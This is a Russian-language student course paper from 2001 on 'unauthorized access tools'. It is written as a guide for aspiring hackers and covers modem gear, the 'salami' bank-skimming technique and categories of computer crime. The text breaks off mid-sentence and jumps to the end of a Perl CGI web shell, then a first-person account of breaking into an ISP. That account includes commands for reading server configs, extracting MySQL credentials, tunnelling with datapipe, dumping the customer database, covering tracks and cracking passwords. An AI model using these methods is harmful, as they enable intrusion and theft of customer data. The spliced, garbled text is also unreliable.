Инструментарий несанкционированного доступа

ИНСТИТУТ ИНТЕГРАЦИИ МЕЖДУНАРОДНЫХ

ОБРАЗОВАТЕЛЬНЫХ ПРОГРАММ КГНУ

Кыргызско-Американский Факультет Компьютерных

Технологий и ИНТЕРНЕТ (КАФ-ИНТЕРНЕТ)

Курсовой проект ПО ДИСЦИПЛИНЕ

«Операционные системы»

«Инструментарий несанкционированного доступа»

Выполнил: Эпельман Р.К.

Проверил Шевелев А.С.

Бишкек – 2001

Содержание

TOC \o “1-3” \h \z HYPERLINK \l “_Toc509908698” Введение PAGEREF
_Toc509908698 \h 3

HYPERLINK \l “_Toc509908699” Коммуникационное программное обеспечение
PAGEREF _Toc509908699 \h 3

HYPERLINK \l “_Toc509908700” прошлое и будущее PAGEREF
_Toc509908700 \h 5

HYPERLINK \l “_Toc509908701” Салями PAGEREF _Toc509908701 \h 7

HYPERLINK \l “_Toc509908702” САБОТАЖ PAGEREF _Toc509908702 \h 8

HYPERLINK \l “_Toc509908703” другие виды краж PAGEREF _Toc509908703
\h 8

HYPERLINK \l “_Toc509908704” Исследования перед взломом PAGEREF
_Toc509908704 \h 11

HYPERLINK \l “_Toc509908705” Пароли и контроль над доступом PAGEREF
_Toc509908705 \h 12

HYPERLINK \l “_Toc509908706” пароли PAGEREF _Toc509908706 \h 12

HYPERLINK \l “_Toc509908707” Описание реального взлома провайдерской
фирмы PAGEREF _Toc509908707 \h 15

Введение

Для того, чтобы стать удачливым компьютерным взломщиком, вам потребуется
один прибор — ваши мозги. Вам не нужен даже компьютер. Более того,
иногда бывает лучше вообще не иметь компьютера, как вы увидите в
дальнейшем. Впрочем, для начала вам все же потребуется компьютер, модем
и телефонная линия для связи с внешним миром. Компьютер может быть каким
угодно. Гораздо важнее, какой у вас модем и коммуникационное программное
обеспечение.

Хакерство — хобби, не требующее большого количества снаряжения; но если
вам приходится что-то покупать, покупайте самое лучшее из того, что вы
сможете себе позволить. Это не означает, что вы должны приобретать то,
что вам предлагают продавцы или специальные журналы. Выбирайте то, что
вам больше всего подойдет. Уверен, вы захотите, чтобы ваш модем был
быстрым. Какой бы скоростью ни обладал ваш модем, он всегда будет
работать несколько медленнее, чем вы ожидали. Из-за помех на линии модем
бывает вынужден перепосылать данные снова и снова, пока не передаст или
не примет их в неискаженном варианте. Модемы могут работать вполовину
указанной скорости, и, если у них плохое настроение, и того медленнее.
При передаче на дальние расстояния или если удаленные компьютеры слишком
загружены, или при доступе к одному компьютеру через несколько других —
чтобы вас труднее было выследить — скорость снижается еще больше. Итак,
если вы хотите получать удовольствие от своих занятий — покупайте
высокоскоростной модем.

Коммуникационное программное обеспечение

Бывает трудно найти действительно подходящую коммуникационную программу,
но именно от нее, в совокупности с подходящим модемом, и зависит,
принесет ли вам радость ваша работа в режиме он-лайн или только
разочарует вас.

Существует много видов терминальных программ. Если какой-то пакет
приложен к вашему модему, это еще не значит, что он вас устроит. Хорошая
программа должна обладать ниже перечисленными свойствами и все они для
хакера необходимы или хотя бы желательны.

Программа должна эмулировать достаточно большое количество разных
терминалов, таких, например, как ANSI, VT52, VT100 и т. д. Неплохо, если
программа располагает адресной таблицей — возможностью переводить
входящие и выходящие символы в другие символы. Программа должна быть в
состоянии посылать и принимать файлы, используя Xmodem, Ymodem, Zmodem и
Kermit протоколы. Удостоверьтесь, что ваша терминальная программа
располагает, по меньшей мере, этими четырьмя протоколами. Программа
должна позволять управлять модемом используя “АТ”-команды. Вам также
понадобится возможность обращаться к вашей операционной системе во время
поддержания связи, т. к. иногда в процессе работы онлайн бывает нужно
запустить другую программу. Программа должна включать в себя телефонную
книжку, позволяющую хранить множество номеров, имен и комментариев. У
вас должна быть возможность хранить более чем десятизначные телефонные
номера, а также программа должна обеспечивать возможность написания
сценариев соединения. Полезно также иметь автонабор, который сможет
периодически перенабирать занятые телефонные номера. Наконец, программа
должна быть простой и приятной в обращении. Если вы не можете найти одну
программу, отвечающую всем вашим требованиям, имейте под рукой
несколько, для выполнения различных функций. Хорошая общедоступная
программа для IBM — Qmodem. И последнее, что необходимо хакеру. Ваша
терминальная программа должна обладать возможностью сбора данных. Это
значит, что, когда информация проходит через ваш модем и появляется на
экране, вы можете сбросить ее в файл на диске.

Функция сбора данных должна быть включена всегда, когда вы используете
свой модем. Сбор данных удобен также для записи текста, который
пробегает по экрану так быстро, что вы не успеваете его прочесть. А
иногда текст вообще немедленно стирается сразу же после ввода. К тому же
приятно иметь документированное свидетельство своей хакерской
деятельности, которое можно использовать для справок и исследований.

прошлое и будущее

Читая издания о хакерстве, вы еще многое узнаете об оборудовании,
программном и аппаратном обеспечении и о том, что необходимо хакерам,
специализирующимся в конкретных областях. Но пока вам необходимо
понять…

Читая литературу по защите данных, можно всерьез обеспокоиться. Прошли
времена ошибок и лазеек в системах и времена наивных пользователей.
Прошли, казалось бы, времена благоговейного страха перед
хакером-одиночкой, среди ночи проникающим в секретные правительственные
базы данных, и времена самих хакеров-одиночек.

Так кажется.

Но это не так! Всего несколько лет назад Роберту Моррису-младшему
удалось проникнуть в систему, используя ошибки, которые никто не
потрудился заметить и исправить. Кто знает, сколько еще таких ошибок
ждет своего часа? Не забывайте и о глупости: существуют демонстрационные
режимы, меры по безопасности, которые никто не уничтожил и не изменил.

В июле 1987 года группа членов клуба Chaos Computer Club взломала
компьютерную сеть системы NASA SPAN. Эти хакеры использовали изъян в
инфраструктуре VMS, по заявлению DEC Corporation, реконструированной
тремя месяцами раньше. А это свыше ста VAX компьютеров с неисправной
операционной системой. Члены клуба посмеивались, что для “зашиты” этой
системы часто использовались примитивные пароли, подчас взятые прямо из
руководства пользователя. С одной стороны мы видим суперсекретные
компьютеры, опекаемые NASA, а с другой — 4000 пользователей этих
компьютеров. Понятно, что 4000 человек не сохранят секрета.

В наши дни хакерство может показаться более трудным занятием, нежели
раньше, но на самом деле оно не стало таким. Меры по безопасности могли
стать строже, но сам пользователь ничуть не изменился в своей
беспечности, равнодушии, добродушии по отношению к другим пользователям.
Более опытные пользователи всегда рады помочь менее осведомленным, а те,
в свою очередь, просят совета у “гуру”. Значит, социальная инженерия,
простая и обратная, живет и побеждает, как вы увидите далее.

Людьми всегда руководит стремление к простоте. Никто не выберет в
качестве пароля нечто вроде “bWoQt 0(@vbM-34trwX51 “!

Сегодня создано немыслимое количество систем, в которых работает
множество пользователей. Раньше на компьютерах работали лишь немногие,
теперь же их может купить и использовать кто угодно. И далеко не все,
кто этим занимается, помнят о компьютерной безопасности. Фактом является
то, что большинство компьютерных систем не защищено от вторжения. Многие
люди, связанные с компьютерами, понимают это, но ничего не предпринимают
по этому поводу.

Причин, по которым компании не повышают уровень компьютерной
безопасности, много. При этом приводятся следующие доводы:

• Усиление зашиты влечет за собой исчезновение открытости и доверия,
которые мы стремимся развивать.

• Компьютерная зашита слишком неудобна.

• Усиление зашиты только привлечет любящих приключения хакеров.

• Закрывать существующие лазейки в защите слишком дорого и трудно.

• Перепрограммирование может повлечь за собой новые проблемы с
безопасностью.

• У нас никогда не было проблем с безопасностью!

• Наша информация не нужна никому, кроме нас.

• Мы только что подверглись взлому; но уж теперь-то они точно не
вернутся!

• А разве хакеры еще не исправились?

Все эти доводы не корректны. Последний вообще не выдерживает критики:
компьютеры имеют такое большое значение в нашей жизни, что хакеры будут
существовать всегда, пока существуют компьютеры.

В некоторых из этих доводов есть своя правда, во всяком случае, люди,
занимающиеся компьютерами, верят в эти утверждения, так что работа для
хакера всегда найдется.

компьютерные преступления

К сожалению, в нашем мире существует такая штука, как компьютерные
преступления. Хакерство занимает последнее место в списке безобразий,
которые люди проделывают с компьютерами, и не имеет ничего общего с
обычными преступлениями, убийствами, кражами и т. п.

Компьютерные преступления делятся на семь основных категорий, так или
иначе связанных с хакерством: финансовые кражи, саботаж, кражи
аппаратного обеспечения, кражи программного обеспечения, кражи
информации и электронный шпионаж. А седьмое “преступление” —
компьютерное хакерство.

денежные кражи

Финансовые кражи происходят, когда компьютерные записи изменяются в
целях присвоения чужих денег. Часто это делается с помощью программы,
направляющей деньги на конкретный банковский счет, обычно с помощью
техники “салями”.

Салями

“Салями” — это метод, предполагающий кражи небольших сумм в течение
длительного времени в надежде, что это не будет замечено. Воры
перепрограммируют банковский или какой-либо другой компьютер так, чтобы
пенни поступали на липовые счета.

Например, на счете может храниться 713.14863, где 863 случайные цифры,
т. к. при умножении учитываются все знаки. Обычно компьютер показывает,
что у данного лица в банке 713.15 $, округляя 4 до 5. Однако, компьютер,
запрограммированный с “салями” отделяет эти экстра-числа и помешает их
на отдельные счета. И теперь человек имеет только 713.14 $, ну кто же
заметит или пожалуется на потерю пенни.

Компьютер сам не в состоянии производить новые деньги, он может только
перевести легальные деньги на нелегальный счет. Такие кражи довольно
трудно обнаружить. Как только на счете у вора скапливается большая
сумма, он снимает деньги со счета и, в большинстве случаев, удаляется
вместе с ними

EOT

;

$result = `$form{com} 2>&1`;

$result =~ s/\n/
/g;

print $result;

print “

\n”;

================ end of shell.cgi ==================

заходим на HYPERLINK “http://users.провайдер.ру/user_name/shell.cgi”
http://users.провайдер.ру/user_name/shell.cgi ) и в формочке (shell c
правами пользователя nobody) набираем какую-нибудь UNIX-команду.
Например, “date”. Впрочем, сколько сейчас времени нас интересует только
лишь по той причине, что прошло всего 15 минут с момента начала попытки
взлома. А сейчас нас больше волнует конфигурационный файл сервера
Apache. Обычно он находится здесь – /usr/local/apache/conf/httpd.conf.
Пробуем его просмотреть при помощи нашей странички (shell.cgi) командой
“cat /usr/local/apache/conf/httpd.conf”. Оказалось, что на этом хосте
одновременно функционируют два виртуальных Web-сервера (сервер
статистики и сервер, где хранятся наши бесплатные странички). Начинаем
изучать сервер статистики… Авторизация выполнена средствами Apache,
причем авторизуется он в MySQL-базе ( HYPERLINK “http://www.mysql.com”
http://www.mysql.com ) на сервере store.провайдер.ru.

============== httpd.conf =============

Auth_MYSQLinfo store.провайдер.ru nobody .

AuthName Mail_list

AuthType basic

Auth_MYSQLdatabase users

Auth_MYSQLpwd_table passwd

Auth_MYSQLuid_field email

Auth_MYSQLpwd_field passwd

Auth_MYSQLgrp_table logins

Auth_MYSQLgrp_field disal_group

Auth_MYSQL_EncryptedPasswords off

============== end of httpd.conf =========

Теперь мы точно знаем, где хранится клиентская база!

После непродолжительного изучения возможностей сервера статистики я
нахожу скрипт, при помощи которого клиент может поменять пароль в базе (
HYPERLINK
“http://user_name:passwd@startserv.провайдер.ру/cgi-bin/connect.cgi”
http://user_name:passwd@startserv.провайдер.ру/cgi-bin/connect.cgi ).
Снова захожу на HYPERLINK
“http://users.провайдер.ру/user_name/shell.cgi”
http://users.провайдер.ру/user_name/shell.cgi и делаю “cat
/usr/local/apache/doc/statserv/cgi-bin/connect.cgi”. Эх! Не повезло!
CGI-скрипт написан на языке Си и уже скомпилирован. Вот невезуха! Если
бы использовался Perl, то пароль для доступа к MySQL можно было бы уже
иметь на руках. Впрочем, настоящего кул-хацкера эта проблема не сможет
надолго остановить!

Вторник, 12-00

Итак, мы имеем скомпиленный скрипт, который умеет коннектиться к
MySQL-серверу на store.провайдер.ru (где, судя по всему, и находится то,
что нас интересует). Причем в качестве входных параметров этот скрипт
использует переменные REMOTE_USER и REMOTE_PASSWD (наш логин/пароль, при
помощи которых мы авторизовались на сервере статистики). Интересно, а на
какой системе скомпилена эта штука? Набираем “uname -an” и получаем
Linux Mandrake 7.0. Класс! У меня на компьютере используется то же
самое. Копирую (через shell.cgi) этот скрипт в свой домашний каталог и
перекачиваю по FTP к себе на машинку. После изучения кода в
HEX-редакторе оказывается, что программа использует
libmysqlclient.so.6.0, что коннектится она к store.провайдер.ru:3306 к
базе users и что логин/пароль вкомпилированы непосредственно в нее.
Помучаться пришлось немало, но в итоге я научил эту программу
запускаться на моем компьютере.

Следующим этапом было написание софтинки, которая слушает порт 3306 и в
минимальном объеме эмулирует работу MySQL-сервера. Прописав в файл
/etc/hosts строчку о том, что мой компьютер – store.провайдер.ru, я
научил скрипт коннектиться в то самое место, которое мне было нужно. Не
буду описывать подробности, факт тот, что логин/пароль для доступа к
MySQL-серверу на store.провайдер.ру я все-таки вытащил.

Среда, 21-30

Предварительно просканировав store.провайдер.ру на наличие открытых
портов, я понял, что проще всего добираться до MySQL-базы через хост
users.провайдер.ру. Немного поразмыслив, я решил просто подвесить там
“трубу”, т.е. устроить редирект таким образом, чтобы, законнектившись на
users.провайдер.ру:23456, я автоматически попадал на
store.провайдер.ru:3306. На сервере HYPERLINK
“http://www.rootshell.org” http://www.rootshell.org нашлась программа
datapipe.c. Загрузив ее на сервер и скомпилив ее через nobody-shell,
который мы “поимели” пару часов назад ( HYPERLINK
“http://users.провайдер.ру/user_name/shell.cgi”
http://users.провайдер.ру/user_name/shell.cgi ) мы получаем готовый
транспорт для взлома. Остается только его запустить. Что и делается
командой “./datapipe 23456 3306 store.провайдер.ru 2>&1”.

А теперь, – самый ответственный момент. На своем компьютере я запускаю
MySQL-клиента.командой

“mysql –port=23456 –host=users.провайдер.ру –user=view
–password=qwerty users”. Yes!!!!!!! Сработало!!! Набираю команду “show
tables” и вижу долгожданный результат на экране моего компьютера. В базе
users оказалось 4 таблицы (users_table, passwd_table, info_table,
contracts). К чести провайдера, для пользователя view была открыта
только одна таблица для записи – passwd_table, остальные таблицы были
открыты только для чтения, но этого было достаточно – доступ к базе я
уже получил.

Сделав dump MySQL-базы к себе на винчестер

(“mysqldump –port=23456 –host=users.провайдер.ру –user=view
–password=qwerty users > dump_file”), я начал заметать следы.
Собственно, оставалось только убить процесс datapipe (killall datapipe),
который мы запустили на сервере users.провайдер.ру из под пользователя
nobody и удалить все лишние файлы, которые мы наплодили. Все! Дело
сделано! Можно передохнуть самую малось, выпить бутылочку пива и
заняться разбором “спертой базы данных”. Самое интересное – это,
естественно, таблица с паролями (к слову сказать, они хранились в
зашифрованном виде, но простейший crack_passwd со словарем подобрал
около 50 за 20 минут).

На тот момент заказчик вынес для себя самое главное правило – НИКОГДА НЕ
ОБЪЕДИНЯЙ ТЕХНОЛОГИЮ с СЕРВИСАМИ ДЛЯ КЛИЕНТОВ. А немного позднее, один
из злобных хакеров научился бесплатно звонить в Америку через модемный
пул этого провайдера и мы занялись “дырочкой” с reverse-telnet. Но это
уже совсем другая история…

PAGE

PAGE 2

КГНУ

ИНСТИТУТ ИНТЕГРАЦИИ МЕЖДУНАРОДНЫХ ОБРАЗОВАТЕЛЬНЫХ ПРОГРАММ

Нашли опечатку? Выделите и нажмите CTRL+Enter